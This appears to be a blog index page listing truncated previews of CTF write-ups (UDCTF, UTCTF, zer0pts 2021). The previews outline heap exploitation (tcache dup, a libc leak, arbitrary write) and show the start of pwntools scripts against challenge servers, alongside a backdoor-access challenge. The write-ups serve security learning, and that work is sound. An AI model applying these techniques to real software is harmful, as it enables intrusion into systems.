[SSC] Dependable Computing Chap.02

보호되어 있는 글입니다.

→2021.03.23

[UDCTF 2021 | BlueHens 2021] Partial Writeup

Encrheapt just malloc and free tcache dup. it's freaking easy. just do it from pwn import * #context.log_level = 'debug' #p = process("./a.out") p = remote("challenges.ctfd.io", 30028) def encrypt(ch, size, con): p.sendlineafter('3. Exit\n', '1') p.sendlineafter('2)??: ', str(ch)) p.sendlineafter(' key?:', '1') p.sendlineafter('How much would you like to encrypt: ', str(size)) p.sendlineafter('W..

→2021.03.22

CTF Write-Up

[UTCTF 2021] Partial Writeup

Monke so we should set can_eat to 0 to use tcache dup. when we type a char except 'w', 'e', 's', 'n', we can set can_eat to 0. and we can leak to free unsorted bin and read the name of banana (which has been freed). so I know libc_addr and we can AAW by tcache dup let's play~ from pwn import * p = remote("pwn.utctf.live", 9999) elf = ELF("./monke") libc = ELF("./libc-2.27.so") def walk(d): p.sen..

→2021.03.15

공부용/System Software Security

[SSC] Protection

보호되어 있는 글입니다.

→2021.03.08

CTF Write-Up

[zer0pts CTF 2021] Partial Writeup

Infected The goal of this problem is to access /root directory. Upon extraction, the backdoor file and the pow.py file are located. First, let's analyze pow.py. """ i.e. sha256("????v0iRhxH4SlrgoUd5Blu0") = b788094e2d021fa16f30c83346f3c80de5afab0840750a49a9254c2a73ed274c Suffix: v0iRhxH4SlrgoUd5Blu0 Hash: b788094e2d021fa16f30c83346f3c80de5afab0840750a49a9254c2a73ed274c """ import itertools impor..

→2021.03.07

공부용/CyberSecurity